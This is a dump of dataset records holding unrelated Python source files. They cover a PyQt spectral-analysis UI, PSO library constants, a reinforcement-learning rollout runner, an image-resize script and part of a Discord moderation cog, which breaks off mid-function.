self.menuPreprocessing.addAction(self.actionNormalization)\n self.menuPreprocessing.addAction(self.actionDimRed)\n self.menuPreprocessing.addAction(self.actionStratified_Folds)\n\n #add actions to regression menu\n self.menuRegression.addAction(self.actionCross_Validation)\n self.menuRegression.addAction(self.actionTrain)\n self.menuRegression.addAction(self.actionSubmodelPredict)\n self.menuRegression.addAction(self.actionPredict)\n\n #add actions to help menu\n self.menuHelp.addSeparator()\n self.menuHelp.addAction(self.actionAbout)\n self.menuHelp.addAction(self.actionAbout_QtCreator)\n\n #add actions to plot menu\n self.menuVisualization.addAction(self.actionPlot)\n self.menuVisualization.addAction(self.actionPlotDimRed)\n\n #add menu actions\n self.menuBar.addAction(self.menuFile.menuAction())\n self.menuBar.addAction(self.menuPreprocessing.menuAction())\n self.menuBar.addAction(self.menuRegression.menuAction())\n self.menuBar.addAction(self.menuVisualization.menuAction())\n self.menuBar.addAction(self.menuHelp.menuAction())\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"PYSAT\", None))\n self.okButton.setText(_translate(\"MainWindow\", \"OK\", None))\n self.delButton.setText(_translate(\"MainWindow\", \"Delete Module\", None))\n self.menuFile.setTitle(_translate(\"MainWindow\", \"File\", None))\n self.menuPreprocessing.setTitle(_translate(\"MainWindow\", \"Preprocessing\", None))\n self.menuRegression.setTitle(_translate(\"MainWindow\", \"Regression\", None))\n self.menuHelp.setTitle(_translate(\"MainWindow\", \"Help\", None))\n self.menuVisualization.setTitle(_translate(\"MainWindow\", \"Visualization\", None))\n self.actionRead_ccam.setText(_translate(\"MainWindow\",\"Read ChemCam Data\",None))\n self.actionLoad_reference_Data.setText(_translate(\"MainWindow\", \"Load Reference Data\", None))\n self.actionLoad_Unknown_Data.setText(_translate(\"MainWindow\", \"Load Unknown Data\", None))\n self.actionSave_Current_Workflow.setText(_translate(\"MainWindow\", \"Save Current Workflow\", None))\n self.actionSave_Current_Data.setText(_translate(\"MainWindow\", \"Save Current Data\", None))\n self.actionCreate_New_Workflow.setText(_translate(\"MainWindow\", \"Create New Workflow\", None))\n self.actionOpen_Workflow.setText(_translate(\"MainWindow\", \"Restore Workflow\", None))\n self.actionApply_Mask.setText(_translate(\"MainWindow\", \"Apply Mask\", None))\n self.actionInterpolate.setText(_translate(\"MainWindow\", \"Interpolate\", None))\n self.actionRemoveNull.setText(_translate(\"MainWindow\", \"Remove Null Data\", None))\n self.actionDimRed.setText((_translate(\"MainWindow\",\"Dimensionality Reduction\",None)))\n self.actionAbout.setText(_translate(\"MainWindow\", \"About...\", None))\n self.actionAbout_QtCreator.setText(_translate(\"MainWindow\", \"About Qt...\", None))\n self.actionExit.setText(_translate(\"MainWindow\", \"Exit\", None))\n self.actionNormalization.setText(_translate(\"MainWindow\", \"Normalization\", None))\n self.actionCross_Validation.setText(_translate(\"MainWindow\", \"Cross Validation\", None))\n self.actionTrain.setText(_translate(\"MainWindow\", \"Train\", None))\n self.actionSubmodelPredict.setText(_translate(\"MainWindow\", \"Submodel Predict\", None))\n self.actionPredict.setText(_translate(\"MainWindow\", \"Predict\", None))\n self.actionPlot.setText(_translate(\"MainWindow\", \"Plot\", None))\n self.actionPlotDimRed.setText(_translate(\"MainWindow\", \"Plot ICA/PCA\", None))\n\n self.actionSet_output_location.setText(_translate(\"MainWindow\", \"Set Output Path\", None))\n\n self.actionStratified_Folds.setText(_translate(\"MainWindow\", \"Stratified Folds\", None))\n self.okButton.clicked.connect(lambda: self.on_okButton_clicked())\n self.delButton.clicked.connect(lambda: self.pysat_fun.del_layout())\n\n def get_known_data(self, arg_list=None, kw_list=None):\n self.flag = ui_modules.get_data_k_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n def get_unknown_data(self, arg_list=None, kw_list=None):\n self.flag = ui_modules.get_data_u_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n def do_read_ccam(self,arg_list=None,kw_list=None):\n self.flag = ui_modules.read_ccam_(self.pysat_fun,self.module_layout,arg_list,kw_list)\n\n def do_mask(self, arg_list=None, kw_list=None):\n ui_modules.get_mask_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n def do_write_data(self):\n self.flag = ui_modules.write_data_(self.pysat_fun,self.module_layout)\n\n def file_outpath(self, arg_list=None, kw_list=None):\n self.flag = ui_modules.file_outpath_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n def do_removenull(self, arg_list=None, kw_list=None):\n ui_modules.removenull_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n def normalization(self, arg_list=None, kw_list=None):\n ui_modules.normalization_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n def do_strat_folds(self, arg_list=None, kw_list=None):\n ui_modules.strat_folds_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n def do_dim_red(self, arg_list=None, kw_list=None):\n ui_modules.dim_reduction_(self.pysat_fun, self.module_layout,arg_list,kw_list)\n\n def do_regression_train(self, arg_list=None, kw_list=None):\n ui_modules.regression_train_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n def do_regression_predict(self, arg_list=None, kw_list=None):\n ui_modules.regression_predict_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n def do_submodel_predict(self, arg_list=None, kw_list=None):\n ui_modules.sm_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n def do_plot(self, arg_list=None, kw_list=None):\n ui_modules.plot_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n def do_plot_dim_red(self, arg_list=None, kw_list=None):\n ui_modules.dim_red_plot_(self.pysat_fun, self.module_layout,arg_list,kw_list)\n\n def do_cv(self, arg_list=None, kw_list=None):\n ui_modules.cv_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n def do_interp(self, arg_list=None, kw_list=None):\n ui_modules.interpolation_(self.pysat_fun, self.module_layout, arg_list, kw_list)\n\n \"\"\" =============================================\n Please do not delete the functions below this line!\n These functions are the working functions\n that allow the UI to operate and do work!\n ============================================== \"\"\"\n\n def menu_item_shortcuts(self):\n self.actionExit.setShortcut(\"ctrl+Q\")\n self.actionCreate_New_Workflow.setShortcut(\"ctrl+N\")\n self.actionOpen_Workflow.setShortcut(\"ctrl+O\")\n self.actionSave_Current_Workflow.setShortcut(\"ctrl+S\")\n\n def menu_item_functions(self, MainWindow):\n self.actionRead_ccam.triggered.connect(lambda: pysat_ui.do_read_ccam(self))\n self.actionSet_output_location.triggered.connect(lambda: pysat_ui.file_outpath(self)) # output location\n self.actionLoad_Unknown_Data.triggered.connect(lambda: pysat_ui.get_unknown_data(self)) # unknown data\n self.actionLoad_reference_Data.triggered.connect(lambda: pysat_ui.get_known_data(self)) # known data\n self.actionSave_Current_Data.triggered.connect(lambda: pysat_ui.do_write_data(self))\n self.actionNormalization.triggered.connect(lambda: pysat_ui.normalization(self)) # submodel\n self.actionApply_Mask.triggered.connect(lambda: pysat_ui.do_mask(self)) # get_mask\n self.actionRemoveNull.triggered.connect(lambda: pysat_ui.do_removenull(self))\n self.actionStratified_Folds.triggered.connect(lambda: pysat_ui.do_strat_folds(self)) # strat folds\n self.actionTrain.triggered.connect(lambda: pysat_ui.do_regression_train(self)) # regression train\n self.actionPredict.triggered.connect(lambda: pysat_ui.do_regression_predict(self)) # regression predict\n self.actionInterpolate.triggered.connect(lambda: pysat_ui.do_interp(self))\n self.actionPlot.triggered.connect(lambda: pysat_ui.do_plot(self))\n self.actionPlotDimRed.triggered.connect(lambda: pysat_ui.do_plot_dim_red(self))\n self.actionCross_Validation.triggered.connect(lambda: pysat_ui.do_cv(self))\n self.actionSubmodelPredict.triggered.connect(lambda:pysat_ui.do_submodel_predict(self))\n self.actionDimRed.triggered.connect(lambda: pysat_ui.do_dim_red(self))\n self.actionOpen_Workflow.triggered.connect(lambda: self.on_load_clicked())\n self.actionSave_Current_Workflow.triggered.connect(lambda: self.on_save_clicked())\n self.set_greyed_out_items(True)\n# self.set_visible_items()\n\n # TODO add auto scroll down feature\n # self.scrollArea.findChildren().triggered.connect(self.scrollArea.verticalScrollBar().setValue(self.scrollArea.verticalScrollBar().value()+10))\n\n # These are the Restore functions\n #self.actionRemoveNull.triggered.connect(lambda: self.set_ui_list(\"do_removenull\"))\n #self.actionPredict.triggered.connect(lambda: self.set_ui_list(\"do_regression_predict\")) # regression predict\n # self.actionPlot.triggered.connect(lambda: self.set_ui_list(\"do_plot\"))\n # self.actionCross_Validation.triggered.connect(lambda: self.set_ui_list(\"do_cv\"))\n\n def set_greyed_out_items(self, bool):\n self.actionTrain.setDisabled(bool)\n self.actionPredict.setDisabled(bool)\n self.actionNormalization.setDisabled(bool)\n self.actionApply_Mask.setDisabled(bool)\n self.actionStratified_Folds.setDisabled(bool)\n self.actionTrain.setDisabled(bool)\n self.actionPredict.setDisabled(bool)\n self.actionInterpolate.setDisabled(bool)\n self.actionPlot.setDisabled(bool)\n self.actionRemoveNull.setDisabled(bool)\n self.actionCross_Validation.setDisabled(bool)\n self.actionSubmodelPredict.setDisabled(bool)\n self.actionSave_Current_Data.setDisabled(bool)\n self.actionDimRed.setDisabled(bool)\n self.actionPlotDimRed.setDisabled(bool)\n\n# def set_visible_items(self):\n# def set_visible_items(self):\n # self.actionNoise_Reduction.setVisible(False)\n # self.actionInstrument_Response.setVisible(False)\n # self.menuBaseline_Removal.deleteLater()\n # self.menuCalibration_Transfer.deleteLater()\n # self.actionICA.setVisible(False)\n # self.actionPCA.setVisible(False)\n # self.actionICA_2.setVisible(False)\n # self.actionPCA_2.setVisible(False)\n # self.menuClassification.setTitle(\"\")\n\n def handleMenuHovered(self, action):\n QtGui.QToolTip.showText(self, None, action, None)\n\n def on_okButton_clicked(self):\n if self.flag:\n self.set_greyed_out_items(False)\n self.onStart()\n self.pysat_fun.taskFinished.connect(self.onFinished)\n\n ################# Restoration toolset below\n\n def on_save_clicked(self):\n try:\n filename = QtGui.QFileDialog.getSaveFileName(None, \"Choose where you want save your file\", '.', '(*.wrf)')\n print(filename)\n with open(filename, 'wb') as fp:\n pickle.dump(self.pysat_fun.get_list(), fp)\n except:\n print(\"File not loaded\")\n\n def on_load_clicked(self):\n filename = QtGui.QFileDialog.getOpenFileName(None, \"Open Workflow File\", '.', \"(*.wrf)\")\n print(filename)\n try:\n with open(filename, 'rb') as fp:\n self.restore_list = pickle.load(fp)\n except:\n ui_modules.error_print(\"File was not loaded\")\n self.restore_first()\n\n def restore_first(self):\n # first run a single or double instance of getattr depending on what data is in the queue\n # We'll need to remember 'i' so we don't accidentally run the instance too many times\n # then press ok\n # then we'll have another loop continue on it's merry way adding everything in.\n\n #TODO: Don't run the function until the UI has been loaded\n #TODO: allow set outpath to be run before loading data\n try:\n self.r_list = self.restore_list.pop()\n while self.r_list[1] == \"get_unknown_data\" or self.r_list[1] == \"get_known_data\" or self.r_list[1] == 'do_read_ccam':\n getattr(pysat_ui, self.r_list[1])(self, self.r_list[3], self.r_list[4])\n print(self.r_list)\n self.r_list = self.restore_list.pop()\n self.on_okButton_clicked()\n self.pysat_fun.taskFinished.connect(self.restore_rest)\n except Exception as e:\n print(e)\n\n def restore_rest(self):\n if self.restore_flag is False:\n getattr(pysat_ui, self.r_list[1])(self, self.r_list[3], self.r_list[4])\n for i in range(len(self.restore_list)):\n self.r_list = self.restore_list.pop()\n print(self.r_list)\n getattr(pysat_ui, self.r_list[1])(self, self.r_list[3], self.r_list[4])\n self.restore_flag = True\n\n ################# Progress bar toolset below\n\n def onStart(self): # onStart function\n self.progressBar.setRange(0, 0) # make the bar pulse green\n self.pysat_fun.start() # TaskThread.start()\n # This is multithreading thus run() == start()\n\n def onFinished(self): # onFinished function\n self.progressBar.setRange(0, 1) # stop the bar pulsing green\n self.progressBar.setValue(1) # displays 100% after process is finished.\n","sub_path":"point_spectra_gui/pysat_ui.py","file_name":"pysat_ui.py","file_ext":"py","file_size_in_byte":23808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"523832541","text":"'''\r\nParticle Swarm Optimization - PyPSO \r\n\r\nCopyright (c) 2009 Marcel Pinheiro Caraciolo\r\ncaraciol@gmail.com\r\n\r\nLicensed under the Apache License, Version 2.0 (the \"License\");\r\nyou may not use this file except in compliance with the License.\r\nYou may obtain a copy of the License at\r\n\r\n http://www.apache.org/licenses/LICENSE-2.0\r\n\r\nUnless required by applicable law or agreed to in writing, software\r\ndistributed under the License is distributed on an \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\nSee the License for the specific language governing permissions and\r\nlimitations under the License.\r\n\r\n0.10 2009-04-16 Initial version.\r\n0.11 2009-05-25 Added constants for ReportFileCSV Adapter (Reports).\r\n0.12 2009-05-28 Added constants for ReportDB Adapter (Reports).\r\n0.23 2009-09-09 Redesigned constants for new API and Docs.\r\n\r\n'''\r\n\r\n\"\"\" \r\n\t:mod `Consts``-- constants module\r\n\t\r\n\tThis module contains all default settings and constants, to help the user \r\n\tin the API to use and minimize the source code need to make simple\r\n things. You are encouraged to see the constants, but NOT CHANGE DIRECTLY\r\n on the module. There are methods for this.\r\n\r\n\r\n\r\nGeneral constants\r\n----------------------------------------------------------------------------\r\n\r\n.. attribute:: CDefPythonRequire\r\n \r\n The mininum version required to run Pyevolve.\r\n\r\n.. attribute:: minimaxType\r\n\r\n The Min/Max type, maximize or minimize the evaluation function.\r\n\r\n Example:\r\n >>> minmax = Consts.minimaxType[\"minimize\"]\r\n >>> minmax = Consts.minimaxType[\"maximize]\r\n \r\n.. attribute:: CDefESCKey\r\n\r\n The ESC key ASCII code. Used to start Interactive Mode.\r\n\r\nTopologyBase constants (:class:`TopologyBase.TopologyBase`)\r\n----------------------------------------------------------------------------\r\n\r\n.. attribute:: CDefSwarmSortType\r\n\r\n\tDefault sort type parameter.\r\n\r\n.. attribute:: CDefSwarmMinimax\r\n\r\n Default min/max parameter.\r\n\r\n.. attribute:: CDefSwarmScale\r\n\r\n Default scaling scheme.\r\n\r\n\r\n1D List particle constants (:class:`Particle1D.Particle1D`)\r\n----------------------------------------------------------------------------\r\n\r\n.. attribute:: CDefP1PosDListInit\r\n\r\n Default initializator for the 1D position List particle.\r\n\r\n.. attribute:: CDefP1DVelListInit\r\n\r\n Default initializator for the 1D velocity List particle.\r\n\r\n.. attribute:: CDefP1DInfoCommunicator\r\n\r\n Default initializator for the particle information communicator\r\n\r\n.. attribute:: CDefP1DPosCommunicator\r\n\r\n Default initializator for the particle position communicator\r\n\r\n\r\n\r\nPSO Engine constants (:class:`PSO.SimplePSO`)\r\n----------------------------------------------------------------------------\r\n\r\n.. attribute:: CDefSteps\r\n\r\n Default number of steps.\r\n\r\n.. attribute:: CDefCoefficients\r\n\r\n Default social and cognitive coefficients (C1 and C2).\r\n\r\n.. attribute:: CDefPsoType\r\n\r\n Default PSO type (Basic, Inertia or Constricted).\r\n\r\n.. attribute:: CDefSwarmSize\r\n\r\n Default swarm size.\r\n\r\nReport Adapters constants (:mod:`ReportAdapters`)\r\n----------------------------------------------------------------------------\r\nConstants for the Report Adapters\r\n\r\nSQLite3 Report Adapter Constants (:class:`ReportAdapters.ReportDB`)\r\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n\r\n.. attribute:: CDefDBName\r\n \r\n Default database filename.\r\n\r\n.. attribute:: CDefReportDBSwarmTable\r\n\r\n Default swarm statistical table name.\r\n\r\n.. attribute:: CDefReportDBTopTable\r\n\r\n Default topology statistical table name.\r\n\r\n\r\n.. attribute:: CDefSQLiteDBPartTable\r\n\r\n Default particles statistical table name.\r\n\r\n\r\n.. attribute:: CDefDBStatsGenFreq\r\n\r\n Default generational frequency for dump statistics.\r\n\r\n.. attribute:: CDefDBStatsCommitFreq\r\n\r\n Default commit frequency.\r\n\r\n\r\nCSV File DB Adapter Constants (:class:`ReportAdapters.ReportFileCSV`)\r\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n\r\n.. attribute:: CDefCSVFileName\r\n \r\n The default CSV filename to dump statistics.\r\n\r\n.. attribute:: CDefCSVFileStatsGenFreq\r\n\r\n Default generational frequency for dump statistics.\r\n\r\n\r\n\"\"\"\r\n\r\nimport Initializators\r\nimport Communicators\r\n\r\n\r\n# Types of sort\r\n# - fitness: uses the \"score\" attribute\r\n# - bestFitness: uses the \"fitness\" attribute\r\nsortType = { \r\n \"fitness\" : 0,\r\n \"bestFitness\" : 1\r\n}\r\n\r\n#Required python version 2.5+\r\nCDefPythonRequire = (2,5)\r\n\r\n\r\nCDefESCKey = 27\r\n\r\n\r\n# - Particle1D defaults\r\n\r\nCDefP1DPosListInit = Initializators.P1DPosListInitializatorReal\r\nCDefP1DVelListInit = Initializators.P1DVelListInitializatorReal\r\nP1DInfoCommunicator = Communicators.P1DGlobalInfoCommunicator\r\nP1DPosCommunicator = Communicators.P1DGlobalPosCommunicator\r\n\r\n#PSO Engine defaults\r\n\r\n# Types of Pso Evaluation\r\n# - BASIC: the canonical PSO Algorithm\r\n# - INERTIA: The Inertia coefficient factor PSO Algorithm\r\n# - CONSTRICTED: The Constriction factor PSO Algorithm\r\npsoType = { \r\n \"BASIC\" : 0,\r\n \"INERTIA\" : 1,\r\n \"CONSTRICTED\" : 2\r\n}\r\n\r\n#Default PsoType\r\nCDefPsoType = psoType[\"BASIC\"]\r\n\r\n#Default Time Steps\r\nCDefSteps = 1000\r\n\r\n# Optimization type\r\n# - Minimize or Maximize the Evaluator Function\r\nminimaxType = { \"minimize\" : 0,\r\n \"maximize\" : 1\r\n }\r\n#Social and Cognitive Coefficients (C1 and C2)\r\nCDefCoefficients = (2.05,2.05)\r\n\r\n\r\n# - TopologyBase Defaults\r\nCDefSwarmSortType = sortType[\"fitness\"]\r\nCDefSwarmMinimax = minimaxType[\"minimize\"]\r\nCDefSwarmSize \t\t\t\t\t= 30\r\n\r\n\r\n# - Report Adapters CSV File defaults\r\nCDefCSVFileName = \"pypso.csv\"\r\nCDefCSVFileStatsGenFreq = 1\r\n\r\n# - DB Adapters defaults\r\nCDefDBName = \"simulationPSO.db\"\r\nCDefReportDBSwarmTable = \"swarm\"\r\nCDefReportDBTopTable = \"topology\"\r\nCDefSQLiteDBPartTable = \"particles\"\r\nCDefDBStatsGenFreq = 1\r\nCDefDBStatsCommitFreq = 500","sub_path":"0.12/Consts.py","file_name":"Consts.py","file_ext":"py","file_size_in_byte":5905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"509741010","text":"import numpy as np\nfrom baselines.common.runners import AbstractEnvRunner\n\nclass Runner(AbstractEnvRunner):\n \"\"\"\n We use this object to make a mini batch of experiences\n __init__:\n - Initialize the runner\n\n run():\n - Make a mini batch\n \"\"\"\n def __init__(self, *, env, model, nsteps, gamma, lam, update_type, alpha, weight):\n super().__init__(env=env, model=model, nsteps=nsteps)\n # Lambda used in GAE (General Advantage Estimation)\n self.lam = lam\n # Discount rate\n self.gamma = gamma\n self.alpha = alpha\n self.weight = weight\n self.update_type = update_type\n\n def run(self, ent_now):\n # Here, we init the lists that will contain the mb of experiences\n mb_obs, mb_rewards, mb_actions, mb_values, mb_dones, mb_neglogpacs, mb_entropy = [],[],[],[],[],[],[]\n mb_svalues, mb_sentropy = [],[]\n mb_states = self.states\n epinfos = []\n # For n in range number of steps\n for _ in range(self.nsteps):\n # Given observations, get action value and neglopacs\n # We already have self.obs because Runner superclass run self.obs[:] = env.reset() on init\n actions, values, self.states, neglogpacs, entropy = self.model.step(self.obs, S=self.states, M=self.dones)\n _, svalues, _, _, sentropy = self.model.sstep(self.obs, S=self.states, M=self.dones)\n mb_obs.append(self.obs.copy())\n mb_actions.append(actions)\n mb_values.append(values)\n mb_neglogpacs.append(neglogpacs)\n mb_entropy.append(entropy)\n mb_dones.append(self.dones)\n mb_svalues.append(svalues)\n mb_sentropy.append(sentropy)\n\n # Take actions in env and look the results\n # Infos contains a ton of useful informations\n self.obs[:], rewards, self.dones, infos = self.env.step(actions)\n for info in infos:\n maybeepinfo = info.get('episode')\n if maybeepinfo: epinfos.append(maybeepinfo)\n mb_rewards.append(rewards)\n # batch of steps to batch of rollouts\n mb_obs = np.asarray(mb_obs, dtype=self.obs.dtype)\n mb_rewards = np.asarray(mb_rewards, dtype=np.float32)\n mb_actions = np.asarray(mb_actions)\n mb_values = np.asarray(mb_values, dtype=np.float32)\n mb_neglogpacs = np.asarray(mb_neglogpacs, dtype=np.float32)\n mb_entropy = np.asarray(mb_entropy, dtype=np.float32)\n mb_dones = np.asarray(mb_dones, dtype=np.bool)\n mb_svalues = np.asarray(mb_svalues, dtype=np.float32)\n mb_sentropy = np.asarray(mb_sentropy, dtype=np.float32)\n last_values = self.model.value(self.obs, S=self.states, M=self.dones)\n last_svalues = self.model.svalue(self.obs, S=self.states, M=self.dones)\n\n # add the reward and the entropy as the new reward\n mb_entropy = np.concatenate([mb_entropy[1:], mb_entropy[-1:]], axis=0)\n mb_sentropy = np.concatenate([mb_sentropy[1:], mb_sentropy[-1:]], axis=0)\n mb_rewards = mb_rewards + ent_now * mb_entropy\n mb_srewards = mb_rewards + ent_now * mb_sentropy\n\n # discount/bootstrap off value fn\n mb_returns = np.zeros_like(mb_rewards)\n mb_advs = np.zeros_like(mb_rewards)\n mb_tdadvs = np.zeros_like(mb_srewards)\n lastgaelam = 0\n td_lastgaelam = 0\n for t in reversed(range(self.nsteps)):\n if t == self.nsteps - 1:\n nextnonterminal = 1.0 - self.dones\n nextvalues = last_values\n nextsvalues = last_svalues\n else:\n nextnonterminal = 1.0 - mb_dones[t+1]\n nextvalues = mb_values[t+1]\n nextsvalues = mb_svalues[t+1]\n delta = mb_rewards[t] + self.gamma * nextvalues * nextnonterminal - mb_values[t]\n mb_advs[t] = lastgaelam = delta + self.gamma * self.lam * nextnonterminal * lastgaelam\n td_delta = mb_srewards[t] + self.gamma * nextsvalues * nextnonterminal - mb_svalues[t]\n mb_tdadvs[t] = (1 - self.alpha) * td_delta + self.alpha * (1./self.lam - 1) * \\\n self.gamma * self.lam * nextnonterminal * td_lastgaelam\n td_lastgaelam = td_delta + self.gamma * self.lam * nextnonterminal * td_lastgaelam\n\n mb_returns = mb_advs + mb_values\n\n if self.update_type == 'min':\n # the minimal value of mb_advs and mb_tdadvs\n mb_fadvs = np.amin([mb_advs, mb_tdadvs], 0)\n else:\n if self.update_type == 'max':\n # the maximan value of mb_advs and mb_tdadvs\n mb_fadvs = np.amax([mb_advs, mb_tdadvs], 0)\n else:\n # the different weights of mb_advs and mb_tdadvs\n mb_fadvs = self.weight * mb_advs + (1 - self.weight) * mb_tdadvs\n return (*map(sf01, (mb_obs, mb_returns, mb_dones, mb_actions, mb_values, mb_fadvs, mb_neglogpacs, mb_entropy)),\n mb_states, epinfos)\n# obs, returns, masks, actions, values, neglogpacs, states = runner.run()\ndef sf01(arr):\n \"\"\"\n swap and then flatten axes 0 and 1\n \"\"\"\n s = arr.shape\n return arr.swapaxes(0, 1).reshape(s[0] * s[1], *s[2:])\n\n\n","sub_path":"baselines/tdppo/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":5244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"396499585","text":"\nimport subprocess\nimport os\n\n\ndef files():\n os.chdir(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Source'))\n files_list = os.listdir(path='.')\n return files_list\n\n\ndef create_res_dir():\n res_dir = os.path.join(os.path.dirname(__file__), 'Result')\n if not os.path.exists(res_dir):\n os.makedirs('Result')\n\n\ndef convert_img(file_list):\n source = os.path.join(os.path.dirname(__file__), 'Source')\n result = os.path.join(os.path.dirname(__file__), 'Result')\n for i in file_list:\n input_path = os.path.join(source, i)\n output_path = os.path.join(result, i)\n os.chdir(os.path.dirname(__file__))\n subprocess.Popen('convert ' + input_path + ' -resize 200 ' + output_path)\n\n\nif __name__ == '__main__':\n create_res_dir()\n convert_img(files())\n","sub_path":"HW_2.5.py","file_name":"HW_2.5.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"531263607","text":"import asyncio\nimport time\nimport os\nimport datetime\nimport traceback\nimport shlex\nimport argparse\nimport logging\n\nimport discord\nfrom discord.ext import commands\n\nfrom i18n import Translator\nfrom Utils import Logging, Utils, PermCheckers\nfrom Utils.Converters import DiscordUser, Duration, RangedInt\nfrom Utils.Constants import RED_TICK, GREEN_TICK\n\nfrom Cogs.Base import BaseCog\nfrom Bot.Handlers import check_mutes\nfrom Database import Connector, DBUtils\nfrom Database.Schemas import warn_schema, mute_schema, new_infraction\nfrom Bot.Handlers import PostParseError\n\nlog = logging.getLogger(__name__)\n\n\ndb = Connector.Database()\n\n\nclass Arguments(argparse.ArgumentParser):\n def error(self, message):\n raise RuntimeError(message)\n\n\nclass Moderation(BaseCog):\n def __init__(self, bot):\n super().__init__(bot)\n self.bot.loop.create_task(check_mutes(bot))\n\n\n\n @commands.guild_only()\n @commands.command()\n @commands.has_permissions(ban_members=True)\n async def ban(self, ctx, user: DiscordUser, *, reason: str = None):\n \"\"\"ban_help\"\"\"\n if reason is None:\n reason = Translator.translate(ctx.guild, \"no_reason\")\n \n member = await Utils.get_member(ctx.bot, ctx.guild, user.id)\n if member is not None:\n if await self.can_act(ctx, member, ctx.author):\n self.bot.running_removals.add(member.id)\n await self._ban(ctx, member, reason)\n\n case = DBUtils.new_case()\n timestamp = datetime.datetime.utcnow().strftime(\"%d/%m/%Y %H:%M\")\n DBUtils.insert(db.inf, new_infraction(case, ctx.guild.id, member, ctx.author, timestamp, \"Ban\", reason))\n \n await ctx.send(Translator.translate(ctx.guild, \"user_banned\", _emote=\"YES\", user=member, user_id=member.id, reason=reason, case=case))\n on_time = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n await Logging.log_to_guild(ctx.guild.id, \"memberLogChannel\", Translator.translate(ctx.guild, \"log_ban\", _emote=\"ALERT\", on_time=on_time, user=member, user_id=member.id, moderator=ctx.author, moderator_id=ctx.author.id, reason=reason, case=case))\n else:\n await ctx.send(Translator.translate(ctx.guild, \"ban_not_allowed\", _emote=\"NO\", user=member.name))\n else:\n await ctx.send(Translator.translate(ctx.guild, \"target_not_on_server\", _emote=\"NO_MOUTH\"))\n\n\n \n @commands.guild_only()\n @commands.command()\n @commands.has_permissions(kick_members=True)\n async def kick(self, ctx, user: DiscordUser, *, reason: str = None):\n \"\"\"kick_help\"\"\"\n if reason is None:\n reason = Translator.translate(ctx.guild, \"no_reason\")\n \n member = await Utils.get_member(ctx.bot, ctx.guild, user.id)\n if member is not None:\n if await self.can_act(ctx, member, ctx.author):\n self.bot.running_removals.add(member.id)\n await self._kick(ctx, member, reason)\n\n case = DBUtils.new_case()\n timestamp = datetime.datetime.utcnow().strftime(\"%d/%m/%Y %H:%M\")\n DBUtils.insert(db.inf, new_infraction(case, ctx.guild.id, member, ctx.author, timestamp, \"Kick\", reason))\n\n await ctx.send(Translator.translate(ctx.guild, \"user_kicked\", _emote=\"YES\", user=member, user_id=member.id, reason=reason, case=case))\n on_time = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n await Logging.log_to_guild(ctx.guild.id, \"memberLogChannel\", Translator.translate(ctx.guild, \"log_kick\", _emote=\"SHOE\", on_time=on_time, user=member, user_id=member.id, moderator=ctx.author, moderator_id=ctx.author.id, reason=reason, case=case))\n else:\n await ctx.send(Translator.translate(ctx.guild, \"kick_not_allowed\", _emote=\"NO\", user=member.name))\n else:\n await ctx.send(Translator.translate(ctx.guild, \"target_not_on_server\", _emote=\"NO_MOUTH\"))\n\n\n @commands.guild_only()\n @commands.command()\n @commands.has_permissions(ban_members=True)\n async def cleanban(self, ctx, user: DiscordUser, *, reason: str = None):\n \"\"\"cleanban_help\"\"\"\n if reason is None:\n reason = Translator.translate(ctx.guild, \"no_reason\")\n \n member = await Utils.get_member(ctx.bot, ctx.guild, user.id)\n if member is not None:\n if await self.can_act(ctx, member, ctx.author):\n self.bot.running_removals.add(member.id)\n await self._ban(ctx, member, reason, 1)\n await self._unban(ctx, member, \"Clean Ban\")\n\n case = DBUtils.new_case()\n timestamp = datetime.datetime.utcnow().strftime(\"%d/%m/%Y %H:%M\")\n DBUtils.insert(db.inf, new_infraction(case, ctx.guild.id, member, ctx.author, timestamp, \"Clean Ban\", reason))\n\n await ctx.send(Translator.translate(ctx.guild, \"user_cleanbanned\", _emote=\"YES\", user=member, user_id=member.id, reason=reason, case=case))\n on_time = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n await Logging.log_to_guild(ctx.guild.id, \"memberLogChannel\", Translator.translate(ctx.guild, \"log_cleanban\", _emote=\"ALERT\", on_time=on_time, user=member, user_id=member.id, moderator=ctx.author, moderator_id=ctx.author.id, reason=reason, case=case))\n else:\n await ctx.send(Translator.translate(ctx.guild, \"ban_not_allowed\", user=member.name))\n else:\n await ctx.send(Translator.translate(ctx.guild, \"target_not_on_server\", _emote=\"NO_MOUTH\"))\n\n \n @commands.guild_only()\n @commands.command()\n @commands.has_permissions(ban_members=True)\n async def softban(self, ctx, user: DiscordUser, *, reason: str = None):\n \"\"\"softban_help\"\"\"\n if reason is None:\n reason = Translator.translate(ctx.guild, \"no_reason\")\n \n member = await Utils.get_member(ctx.bot, ctx.guild, user.id)\n if member is not None:\n if await self.can_act(ctx, member, ctx.author):\n 